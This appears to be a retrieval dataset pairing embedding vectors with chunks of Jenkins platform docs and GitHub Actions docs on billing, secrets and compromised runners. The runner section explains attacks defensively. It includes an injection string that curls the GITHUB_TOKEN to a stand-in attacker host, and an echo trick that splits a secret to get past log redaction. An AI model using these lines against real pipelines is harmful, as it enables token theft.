[ -0.025724979117512703, -0.030838580802083015, 0.04941703751683235, -0.05428410694003105, -0.009569255635142326, -0.03682854399085045, -0.08354943990707397, -0.04746239259839058, -0.02950870431959629, -0.025025000795722008, -0.045457176864147186, -0.006144301034510136, -0.0026635299436748028,...
0.088641
includes: \* Container Images \* Jenkins core release builds \* xref:dev-docs:publishing:releasing-cd.adoc[Automated plugin releases] \* link:https://ci.jenkins.io[Continuous integration build and test] \* Testing Infrastructure Some of the reasons for choosing Temurin are: \* Availability over many different Java SE versions and across a wide range of platforms, including different operating systems and architectures. \* Regular maintenance and long term support provided by the Eclipse Foundation.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-java.adoc
main
jenkins
[ -0.04941358044743538, -0.00878623966127634, 0.03060617484152317, -0.04391339421272278, 0.08345849812030792, -0.10175712406635284, -0.06121396645903587, -0.021093064919114113, 0.053104232996702194, 0.009235970675945282, 0.012572039850056171, -0.05263141542673111, -0.054066337645053864, 0.00...
0.164661
= Upgrade to Java 21 When upgrading the JVM used to run Jenkins from Java 17 to Java 21, there are some details you should know and precautions you should take. NOTE: Java 21 is supported as of LTS 2.426.1 and Jenkins Weekly 2.419. == Back up Jenkins As with any upgrade, we recommend: . xref:system-administration:backing-up.adoc#jenkins\_home[Backing up `JENKINS\_HOME`] . Testing the upgrade with your backup . After all required tests pass, execute the upgrade on your production controller === Upgrade the Jenkins Java version to Java 21 .Upgrading Jenkins Java Version From 17 to 21 video::8xQVGpWeIe0[youtube,width=800,height=420] To verify the Java version currently used in your controller: . Navigate to \*Manage Jenkins\* and then select \*System Information\* in the \*Status Information\* section . On the \*System Properties\* tab, locate the `java.runtime.version` and reveal the hidden value to display your current Java version To verify the Java version currently used in your agent: . Select an agent name from the \*Build Executor Status\* widget and then select \*System Information\* . Locate the `java.runtime.version` and reveal the hidden value to display the current Java version The `checkNodes` script determines what version of Java is running the controller process, along with the version of the agent that's associated with that controller. The script then checks the version of Java that is on the agent. When these values are returned, `OK` means that the agent Java version matches the controller Java version. Otherwise, the result displays the expected Java version and the version found instead. To run the `checkNodes` script: . Navigate to \*Manage Jenkins\* and select \*Script Console\* from the \*Tools and Actions\* section . Copy the following script into the empty text box and select \*Run\*: [source,groovy] ---- include::example$check-nodes-script.groovy[] ---- === Upgrade to Java 21 on your Jenkins controller The following steps are taken from the video linked at the top of this page. . Stop the Jenkins controller with `systemctl stop jenkins` . Install the corresponding Java version with `dnf -y install temurin-21-jdk` or with the package manager your system uses . Check the Java version with `java -version` . Change the default Java for the system by running `update-alternatives --config java` and then enter the number that corresponds to Java 21, for example `2` if that is the correct option . Restart Jenkins with `systemctl restart jenkins` === Upgrade Jenkins To upgrade Jenkins, as well as the JVM, we recommend you: . xref:system-administration:backing-up.adoc#jenkins\_home[Back up `JENKINS\_HOME`] . Stop the Jenkins controller . Upgrade the JVM on which Jenkins is running \*\* Use a package manager to install the new JVM \*\* Ensure the default JVM is the newly installed version \*\*\* If it is not, run `systemctl edit jenkins`, and set either the `JAVA\_HOME` environment variable or the `JENKINS\_JAVA\_CMD` environment variable . Upgrade Jenkins to the most recent version \*\* How you upgrade Jenkins is dependent upon your original Jenkins installation method + TIP: We recommend that you use the package manager of your system (such as `apt` or `yum`) . Validate the upgrade to confirm that all plugins and jobs are loaded . Upgrade the required plugins When upgrading the Java version for Jenkins and the JVM, it is important to upgrade all plugins that support Java 21. Plugin upgrades assure compatibility with the most recent Jenkins releases. NOTE: If you discover a previously unreported issue, please let us know. Refer to xref:community:ROOT:report-issue.adoc[our issue reporting documentation] for guidance. === JVM version on agents Due to how controllers and agents communicate, all agents must run on the same JVM version as the controller. If you're upgrading your Jenkins controller to run on
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/upgrade-java-to-21.adoc
main
jenkins
[ 0.013611086644232273, 0.005563114769756794, 0.049413975328207016, -0.01446319930255413, 0.028362968936562538, 0.006295655854046345, -0.10044628381729126, -0.06440448760986328, -0.06076905131340027, -0.045502178370952606, -0.0011028044391423464, -0.03127332404255867, 0.010612714104354382, 0...
-0.035836
discover a previously unreported issue, please let us know. Refer to xref:community:ROOT:report-issue.adoc[our issue reporting documentation] for guidance. === JVM version on agents Due to how controllers and agents communicate, all agents must run on the same JVM version as the controller. If you're upgrading your Jenkins controller to run on Java 21, you must upgrade the JVM on your agents. Validating the version of each agent can be done with the {plugin}versioncolumn[Versions Node Monitors] plugin. This plugin provides information about the JVM version of each agent on the node management screen of your Jenkins controller. You can configure this plugin to automatically disconnect any agent with an incorrect JVM version. === Upgrade to Java 21 on agents The following steps are taken from the video linked at the top of this page. . In the command line, log into the agent . Enter `dnf -y install temurin-21-jdk`, or use the appropriate command for your package manager . Check your java version using `java -version` . Change the default Java version using `update-alternatives --config java` and then enter the selection corresponding to Java 21 . Verify the Java version has been updated with `java -version` . From the agent page in your Jenkins controller, select \*Disconnect\* . After disconnecting the agent, reconnect it by selecting \*Bring this node back online\* and then selecting \*Launch agent\*
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/upgrade-java-to-21.adoc
main
jenkins
[ 0.03627866134047508, -0.02418309450149536, -0.004326150752604008, 0.013084279373288155, 0.0563582144677639, -0.01764719933271408, -0.08061633259057999, -0.10921753942966461, 0.00012944750778842717, 0.017809487879276276, 0.012243387289345264, -0.017760545015335083, 0.013439630158245564, 0.0...
-0.027518
= Upgrade to Java 17 When upgrading the JVM used to run Jenkins from Java 11 to Java 17, there are some details you should know and precautions you should take. .Upgrading Jenkins Java Version From 11 to 17 video::ZabUz6sl-8I[youtube,width=800,height=420] == Back up Jenkins As with any upgrade, we recommend: . xref:user-docs:system-administration:backing-up.adoc#jenkins\_home[Backing up `JENKINS\_HOME`]. . Testing the upgrade with your backup. . Only after all required tests pass, performing the upgrade on your production instance. == Upgrade Jenkins If you need to upgrade Jenkins, as well as the JVM, we recommend you: . xref:system-administration:backing-up.adoc#jenkins\_home[Back up `JENKINS\_HOME`]. . Stop the Jenkins controller. . Upgrade the JVM on which Jenkins is running. \*\* Use a package manager to install the new JVM. \*\* Ensure the default JVM is the newly installed version. \*\*\* If it is not, run `systemctl edit jenkins`, and set either the `JAVA\_HOME` environment variable or the `JENKINS\_JAVA\_CMD` environment variable. . Upgrade Jenkins to the most recent version. \*\* How you upgrade Jenkins is dependent upon your original Jenkins installation method. + TIP: We recommend that you use the package manager of your system (such as `apt` or `yum`). . Validate the upgrade to confirm that all plugins and jobs are loaded. . Upgrade the required plugins. Refer to xref:user-docs:platform-information:upgrade-java-to-11.adoc#upgrading-plugins[Upgrading Plugins] for further information. When upgrading the Java version for Jenkins and the JVM, it is important to upgrade all plugins that support Java 17. Plugin upgrades assure compatibility with the most recent Jenkins releases. NOTE: If you discover a previously unreported issue, please let us know. Refer to xref:community:ROOT:report-issue.adoc[our issue reporting documentation] for guidance. == JVM version on agents All agents must be running on the same JVM version as the controller, due to how controllers and agents communicate. If you're upgrading your Jenkins controller to run on Java 17, you must upgrade the JVM on your agents. Validating the version of each agent can be done with the {plugin}versioncolumn[Versions Node Monitors] plugin. This plugin provides information about the JVM version of each agent on the node management screen of your Jenkins instance. This plugin can also be configured to automatically disconnect any agent with an incorrect JVM version.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/upgrade-java-to-17.adoc
main
jenkins
[ -0.02745569497346878, 0.008123268373310566, -0.018705684691667557, -0.06797920912504196, 0.04751766845583916, -0.04678591713309288, -0.07516881078481674, -0.08643899857997894, -0.09331103414297104, -0.02185708098113537, -0.008290833793580532, -0.017664726823568344, 0.015031088143587112, 0....
-0.025424
:page-aliases: user-docs:administration:web-browsers.adoc = Browser compatibility This page documents the browser support policy for Jenkins controllers. NOTE: Content here does not apply to the Jenkins website or other services hosted by the Jenkins project. == Support model Jenkins web browser support falls into one of three levels: . Level 1: Aim to proactively support these browsers and provide an equal UX across all. . Level 2: Accept patches to fix issues and make the best effort to ensure there is at least one way to do any action. . Level 3: No guarantees. We will accept patches, but only if they are low risk. \*This is the default unless a browser/version is listed below\*. We do not claim any compatibility with or accept bug reports and patches for pre-release (e.g., alpha, beta, or canary) versions of browsers. == Browser compatibility matrix [width="100%",cols="25%,25%,25%,25%",options="header",] |=== |Browser |Level 1 |Level 2 |Level 3 |Google Chrome |Latest regular release/patch |Version N-1, latest patch |Other versions |Mozilla Firefox |Latest regular release/patch; Latest https://www.mozilla.org/en-US/firefox/organizations/[ESR] release |Version N-1, latest patch |Other versions |Microsoft Edge |Latest regular release/patch |Version N-1, latest patch |Other versions |Apple Safari |Latest regular release/patch |Version N-1, latest patch |Other versions |=== Support for mobile browsers (e.g. iOS Safari) has not yet been determined. == Change history \* 2022-02-01 - Remove support for Internet Explorer, Add Edge (link:https://groups.google.com/g/jenkinsci-dev/c/piANoeohdik[discussion in the developer mailing list]) \* 2019-11-19 - Policy update (link:https://groups.google.com/forum/#!topic/jenkinsci-dev/TV\_pLEah9B4[discussion in the developer mailing list]) \* 2014-09-03 - Original policy for Jenkins 1.579 (http://meetings.jenkins-ci.org/jenkins/2014/jenkins.2014-09-03-18.01.html[governance meeting notes])
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-web-browsers.adoc
main
jenkins
[ -0.08027982711791992, -0.007538518402725458, 0.03658350929617882, -0.022852154448628426, 0.013538016937673092, -0.07364363223314285, -0.06727927923202515, -0.05051952227950096, -0.051585860550403595, -0.01627476140856743, -0.0206313394010067, 0.028380433097481728, -0.025561146438121796, 0....
0.079146
= Linux Support Policy This page documents the Linux support policy for the Jenkins controller and agents. == Scope Individual Jenkins plugins may set additional requirements for Linux versions on controllers and/or agents. This page does not document such requirements. Refer to link:https://plugins.jenkins.io/[plugin documentation] for additional requirements. == Why? Theoretically, Jenkins can run everywhere where you can run a supported Java version, but there are some limitations in practice. Jenkins core and some plugins include native code or depend on Linux API and subsystems, which make them dependent on specific Linux versions. Jenkins platform specific installation packages rely on specific Linux versions. == Support levels We define multiple support levels for Linux platforms. [width="100%",cols="20%,35%,45%",options="header",] |=== |Support level |Description |Platforms | \*\*Level 1\*\* - Supported | We run automated package manager installation testing for these platforms, and we intend to fix reported issues in a timely manner. We recommend either package manager based installations or container based installations for Linux. Installations may also use `jenkins.war` without a package manager, though our automated testing focuses on package manager and container installations. a| \* 64-bit (amd64) Linux versions that use the Debian packaging format as link:https://ci.jenkins.io/job/Packaging/job/packaging/job/master/[tested on ci.jenkins.io] \* 64-bit (amd64) Linux versions that use the Red Hat rpm packaging format as link:https://ci.jenkins.io/job/Packaging/job/packaging/job/master/[tested on ci.jenkins.io] \* 64-bit (amd64) Linux versions that use the OpenSUSE rpm packaging format as link:https://ci.jenkins.io/job/Packaging/job/packaging/job/master/[tested on ci.jenkins.io] \* 64-bit (arm64, s390x) Linux versions that use the Debian packaging format as link:https://ci.jenkins.io/job/Infra/job/acceptance-tests/[tested on ci.jenkins.io] \* 64-bit (arm64, s390x) Linux versions that use the rpm packaging format as link:https://ci.jenkins.io/job/Infra/job/acceptance-tests/[tested on ci.jenkins.io] \* Linux container images (amd64, arm64, s390x) as published for the link:https://hub.docker.com/r/jenkins/jenkins[controller] and various agents | \*\*Level 2\*\* - Patches considered | Support may have limitations and extra requirements. We do not test compatibility, and we may drop support at any time. We consider patches that do not put level 1 support at risk and do not create maintenance overhead. a| \* 32-bit (x86, arm) Linux versions \* RISC-V and other architectures not included in level 1 support \* Preview releases | \*\*Level 3\*\* - Unsupported | These versions are known to be incompatible or to have severe limitations. We do not support the listed platforms, and we do not accept patches. a| \* Linux versions no longer supported by operating system providers |=== .References \*\*\*\* \* link:https://wiki.debian.org/LTS[Debian Long Term Support] \* link:https://access.redhat.com/support/policy/updates/errata[Red Hat Enterprise Linux Life Cycle] \* link:https://en.opensuse.org/Lifetime[openSUSE Product Support Lifecycle] \* link:https://ubuntu.com/about/release-cycle[Ubuntu lifecycle and release cadence] \*\*\*\* == Contributing You are welcome to propose PRs that add support for other Linux platforms or to share feedback; we honestly appreciate your contributions! Linux support in Jenkins is xref:sigs:platform:index.adoc[Platform Special Interest Group] which has a link:https://app.gitter.im/#/room/#jenkinsci\_platform-sig:gitter.im[chat], a link:https://community.jenkins.io/[forum]., and xref:sigs:platform:index.adoc#meetings[regular meetings]. You are welcome to join these channels. == Version history \* March 2022 - First version (link:https://groups.google.com/g/jenkinsci-dev/c/cYi4GyG7Il8/m/oQ2m0C3UAgAJ[Discussion in the mailing list], link:https://community.jenkins.io/t/governance-meeting-jan-26-2022/1348[Governance meeting notes and recording])
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-linux.adoc
main
jenkins
[ -0.019653528928756714, -0.04142645746469498, 0.022654348984360695, -0.04110338166356087, 0.04910958558320999, -0.027632679790258408, -0.12892135977745056, -0.052662383764982224, -0.011905665509402752, -0.026311850175261497, -0.05406650900840759, -0.014617931097745895, -0.02806386910378933, ...
0.078778
= Servlet Container Support Policy This page documents the servlet container support policy for the Jenkins controller. == Why? Jenkins typically runs as a standalone application in its own process. The Jenkins WAR file bundles link:https://github.com/jenkinsci/winstone[Winstone], a link:https://www.eclipse.org/jetty/[Jetty] servlet container wrapper, and can be started on any operating system or platform with a version of Java supported by Jenkins. This is the preferred way to deploy Jenkins and is fully supported. Theoretically, Jenkins can also be run as a servlet in a traditional servlet container like link:https://tomcat.apache.org/[Apache Tomcat] or link:https://www.wildfly.org/[WildFly]. However, in practice, this is largely untested, and there are many caveats. In particular, support for WebSocket agents is only implemented for the Jetty servlet container. WARNING: Support for traditional servlet containers may be discontinued in the future. == Support levels We define multiple support levels for servlet containers. [width="100%",cols="20%,35%,45%",options="header",] |=== |Support level |Description |Servlet containers | \*\*Level 1:\*\* Supported | We run automated testing for these servlet containers, and we intend to fix reported issues in a timely manner. a|The versions of Winstone and Jetty bundled in the Jenkins xref:installing-jenkins:war-file.adoc[WAR file]. | \*\*Level 2:\*\* Patches considered | Support may have limitations and extra requirements. We do not regularly test compatibility, and we may drop support at any time. We consider patches that do not put Level 1 support at risk and do not create maintenance overhead. a| \* Tomcat 9, based on Servlet API 4.0 (Jakarta EE 8) with `javax.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) \* WildFly 26, based on Servlet API 4.0 (Jakarta EE 8) with `javax.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) \* Other servlet containers that are based on Servlet API 4.0 (Jakarta EE 8) with `javax.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) \* Jetty 11 or later, based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.475, LTS 2.479.1, and newer\*) \* Tomcat 10 or later, based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.475, LTS 2.479.1, and newer\*) \* WildFly 27 or later, based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.475, LTS 2.479.1, and newer\*) \* Other servlet containers that are based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.475, LTS 2.479.1, and newer\*) | \*\*Level 3:\*\* Unsupported | These versions are known to be incompatible or to have severe limitations. We do not support the listed servlet containers. a| \* Jetty 11 or later, based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) \* Tomcat 10 or later, based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) \* WildFly 27 or later, based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) \* Other servlet containers that are based on Servlet API 5.0 (Jakarta EE 9) or later with `jakarta.servlet` imports. (\*Weekly 2.474, LTS 2.462.3, and older\*) |=== WARNING: Support for Jakarta EE 8 is planned to end with the October LTS release. == References \* xref:installing-jenkins:servlet-containers.adoc[Installation instructions] \* link:https://www.eclipse.org/jetty/[Jetty versions] \* link:https://tomcat.apache.org/whichversion.html[Tomcat versions] \* link:https://www.wildfly.org/news/2022/11/09/WildFly27-Final-Released/[WildFly 27 release announcement] == Contributing You are welcome to propose PRs that add support or documentation for other servlet containers or to share feedback; we will appreciate your contributions! Servlet container support in Jenkins falls under the xref:sigs:platform:index.adoc[Platform Special Interest Group] which has a link:https://app.gitter.im/#/room/#jenkinsci\_platform-sig:gitter.im[chat], a link:https://community.jenkins.io/[forum]., and xref:sigs:platform:index.adoc#meetings[regular meetings]. You are welcome to join these channels.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-servlet-containers.adoc
main
jenkins
[ -0.06275465339422226, 0.0237691979855299, 0.01407535932958126, -0.07078041881322861, 0.040609151124954224, -0.026694079861044884, -0.048530492931604385, -0.027091674506664276, 0.01873890310525894, -0.07257942855358124, -0.03547941893339157, 0.04599599540233612, -0.052743714302778244, 0.001...
0.114279
PRs that add support or documentation for other servlet containers or to share feedback; we will appreciate your contributions! Servlet container support in Jenkins falls under the xref:sigs:platform:index.adoc[Platform Special Interest Group] which has a link:https://app.gitter.im/#/room/#jenkinsci\_platform-sig:gitter.im[chat], a link:https://community.jenkins.io/[forum]., and xref:sigs:platform:index.adoc#meetings[regular meetings]. You are welcome to join these channels.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-servlet-containers.adoc
main
jenkins
[ -0.03150875121355057, -0.04727904126048088, -0.016303155571222305, -0.018007906153798103, 0.06618812680244446, -0.07490675896406174, -0.0015738249057903886, -0.01764431782066822, 0.009826116263866425, -0.04882791265845299, -0.05875953659415245, 0.021931054070591927, -0.05870266631245613, 0...
0.109996
= Platform Information This chapter provides information about the operating systems, web browsers, Java versions, and other software components commonly used to run Jenkins. The content is suitable for users of all levels, especially those getting started with Jenkins. == Support policies The Jenkins project defines support levels for platform components such as Java versions, operating systems, web browsers, and servlet containers. Support levels provide guidance on the effort Jenkins project contributors generally apply to issues related to platform components. Details of the support policies are available in the specific support policy pages: \* xref:platform-information:support-policy-java.adoc[Java] \* xref:platform-information:support-policy-linux.adoc[Linux] \* xref:platform-information:support-policy-windows.adoc[Windows] \* xref:platform-information:support-policy-servlet-containers.adoc[Servlet containers] \* xref:platform-information:support-policy-web-browsers.adoc[Web browsers] == Java support and upgrade information In addition to support policies, this chapter provides information on upgrading your Java version in Jenkins. Depending on your current Java version, there are instructions for xref:platform-information:upgrade-java-to-11.adoc[upgrading to Java 11] and xref:platform-information:upgrade-java-to-17.adoc[upgrading to Java 17].
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/index.adoc
main
jenkins
[ -0.01696334220468998, -0.015128977596759796, 0.013783511705696583, -0.09714194387197495, 0.09354478120803833, -0.09131604433059692, -0.01561727561056614, -0.03448805958032608, -0.0804290845990181, -0.053639646619558334, -0.04001672565937042, -0.005298474337905645, -0.0592658631503582, 0.00...
0.112509
## About billing for {% data variables.product.prodname\_actions %} {% ifversion fpt or ghec %} {% data reusables.actions.actions-billing %} For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). {% else %} {% data variables.product.prodname\_actions %} usage is free for {% data variables.product.prodname\_ghe\_server %} instances that use self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). {% endif %} {% ifversion fpt or ghec %} ## Availability {% data variables.product.prodname\_actions %} is available on all {% data variables.product.prodname\_dotcom %} products, but {% data variables.product.prodname\_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %} {% endif %} ## Usage limits and policy There are several limits on {% data variables.product.prodname\_actions %} usage when using {% data variables.product.prodname\_dotcom %}-hosted runners. See [AUTOTITLE](/actions/reference/actions-limits). In addition to the usage limits, you must ensure that you use {% data variables.product.prodname\_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service). For more information on {% data variables.product.prodname\_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#a-actions-usage). {% ifversion fpt or ghec %} ## {% data variables.product.prodname\_actions %} usage metrics Organization owners and users with the "View organization Actions metrics" permission can view {% data variables.product.prodname\_actions %} usage metrics for their organization. These metrics can help you understand how and where your Actions minutes are being used. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/viewing-usage-metrics-for-github-actions). When you view usage metrics, it is important to remember that {% data reusables.actions.actions-usage-metrics-not-billing-metrics %} {% endif %} ## Billing for reusable workflows If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname\_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname\_dotcom %}-hosted runners from the called repository. For more information see, [AUTOTITLE](/actions/using-workflows/reusing-workflows). ## Next steps You can manage your {% data variables.product.prodname\_actions %} usage and retention policies for your repository, organization, or enterprise account. For more information, see: \* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository) \* [AUTOTITLE](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization) \* [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization) \* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)
https://github.com/github/docs/blob/main//content/actions/concepts/billing-and-usage.md
main
github-actions
[ -0.015618530102074146, -0.004682959523051977, -0.04546559602022171, 0.01768830418586731, 0.08195777237415314, 0.029078423976898193, 0.04098718613386154, 0.07777934521436691, -0.0351860448718071, 0.02740868739783764, 0.03741549327969551, -0.045184120535850525, 0.0058048139326274395, -0.0081...
0.059553
## About secrets Secrets allow you to store sensitive information in your organization, repository, or repository environments. Secrets are variables that you create to use in {% data variables.product.prodname\_actions %} workflows in an organization, repository, or repository environment. {% data variables.product.prodname\_actions %} can only read a secret if you explicitly include the secret in a workflow. {% ifversion fpt or ghec %} ## How secrets work Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key\_cryptography/sealed\_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime. {% endif %} ## Organization-level secrets {% data reusables.actions.secrets-org-level-overview %} When creating a secret for an organization, you can use a policy to limit access by repository. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. For environment secrets, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers. To make a secret available to an action, you must set the secret as an input or environment variable in your workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. See [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob\_idstepsenv). ## Limiting credential permissions When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a {% data variables.product.pat\_v1 %}, select the fewest scopes necessary. When generating a {% data variables.product.pat\_v2 %}, select the minimum permissions and repository access required. Instead of using a {% data variables.product.pat\_generic %}, consider using a {% data variables.product.prodname\_github\_app %}, which uses fine-grained permissions and short lived tokens, similar to a {% data variables.product.pat\_v2 %}. Unlike a {% data variables.product.pat\_generic %}, a {% data variables.product.prodname\_github\_app %} is not tied to a user, so the workflow will continue to work even if the user who installed the app leaves your organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). ## Automatically redacted secrets {% data variables.product.prodname\_actions %} automatically redacts the contents of all {% data variables.product.prodname\_dotcom %} secrets that are printed to workflow logs. {% data variables.product.prodname\_actions %} also redacts information that is recognized as sensitive, but is not stored as a secret. For a list of automatically redacted secrets, see [AUTOTITLE](/actions/reference/secrets-reference#automatically-redacted-secrets). Because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain security proactive steps you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets. For a reference list of security best practices with secrets, see [AUTOTITLE](/actions/reference/secrets-reference#security-best-practices). ## Further reading \* [AUTOTITLE](/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions) \* [AUTOTITLE](/rest/actions/secrets)
https://github.com/github/docs/blob/main//content/actions/concepts/security/secrets.md
main
github-actions
[ -0.05259406194090843, 0.007185924332588911, -0.09327913075685501, 0.05036480352282524, 0.07039913535118103, -0.009751925244927406, 0.038586925715208054, 0.06690987944602966, 0.04362202808260918, -0.028208402916789055, 0.03989851102232933, 0.058811936527490616, 0.03763657808303833, -0.05192...
0.069358
## Potential impact of a compromised runner These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname\_actions %} runner. {% ifversion fpt or ghec %} > [!NOTE] > {% data variables.product.prodname\_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. {% endif %} ### Accessing secrets Workflows triggered from a forked repository using the `pull\_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue\_comment`, `issues`, `push` and `pull\_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB\_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github\_token). \* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. \* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. \* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: {% raw %} ```yaml uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH\_KEY }} ``` {% endraw %} Although {% data variables.product.prodname\_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB\_TOKEN` and any referenced secrets can be harvested by a determined attacker. ### Exfiltrating data from a runner An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname\_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME\_SECRET:0:4}; echo ${SOME\_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. ### Stealing the job's `GITHUB\_TOKEN` It is possible for an attacker to steal a job's `GITHUB\_TOKEN`. The {% data variables.product.prodname\_actions %} runner automatically receives a generated `GITHUB\_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB\_TOKEN;#`. ### Modifying the contents of a repository The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github\_token), including releases, if the assigned permissions of `GITHUB\_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github\_token). ### Cross-repository access {% data variables.product.prodname\_actions %} is intentionally scoped for a single repository at a time. The `GITHUB\_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB\_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB\_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname\_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname\_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname\_dotcom %} permission model by inadvertently granting broad access to collaborators. If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname\_actions %} by storing them
https://github.com/github/docs/blob/main//content/actions/concepts/security/compromised-runners.md
main
github-actions
[ -0.09552378207445145, -0.008204866200685501, -0.07198747992515564, -0.011557573452591896, 0.09357055276632309, -0.019602954387664795, 0.029819095507264137, 0.07937318086624146, -0.021601863205432892, -0.0061602103523910046, 0.017885997891426086, 0.05768044292926788, 0.025527698919177055, -...
0.144549
{% data variables.product.prodname\_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname\_dotcom %} permission model by inadvertently granting broad access to collaborators. If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname\_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname\_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: 1. \*\*The `GITHUB\_TOKEN`\*\* \* This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). \* The `GITHUB\_TOKEN` should be used whenever possible. 1. \*\*Repository deploy key\*\* \* 